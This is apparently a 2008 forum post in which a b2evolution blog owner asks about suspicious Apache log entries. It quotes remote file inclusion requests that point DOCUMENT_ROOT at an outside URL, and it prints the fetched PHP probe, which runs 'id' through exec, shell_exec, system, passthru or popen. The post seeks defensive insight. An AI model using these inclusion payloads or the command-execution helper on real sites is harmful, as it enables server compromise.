My b2evolution Version: 2.x

Below are the records (separated by blank lines) of one of 3 IP addresses that Apache/Debian logged on August 23, 2008. I would appreciate any insight. Thank you.

65.98.70.18 - - [23/Aug/2008:13:04:29 -0700] "GET /blog/index.php/2008/06/02/os-2-w...-business-wseb-and?blog=4/index.php?_SERVER[DOCUMENT_ROOT]=http://www.topyn.com/ips.txt?? HTTP/1.1" 400 567 "-" "libwww-perl/5.811"

65.98.70.18 - - [23/Aug/2008:13:04:29 -0700] "GET /index.php?_SERVER[DOCUMENT_ROOT]=http://www.topyn.com/ips.txt?? HTTP/1.1" 200 46203 "-" "libwww-perl/5.811"

65.98.70.18 - - [23/Aug/2008:13:04:31 -0700] "GET /blog/index.php/2008/06/02/index.php?_SERVER[DOCUMENT_ROOT]=http://www.topyn.com/ips.txt?? HTTP/1.1" 200 - "-" "libwww-perl/5.811"

Digging further, one realizes that http://www.topyn.com/ips.txt is an PHP file (hosted at a porn site --as can be verified) which content I will list below (I used the wget utility to obtain it):
--------------------------------------------
<?php
echo "Mic22";
$cmd="id";
$eseguicmd=ex($cmd);
echo $eseguicmd;
function ex($cfe){
$res = '';
if (!empty($cfe)){
if(function_exists('exec')){
@exec($cfe,$res);
$res = join("\n",$res);
}
elseif(function_exists('shell_exec')){
$res = @shell_exec($cfe);
}
elseif(function_exists('system')){
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif(function_exists('passthru')){
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif(@is_resource($f = @popen($cfe,"r"))){
$res = "";
while(!@feof($f)) { $res .= @fread($f,1024); }
@pclose($f);
}}
return $res;
}
exit;
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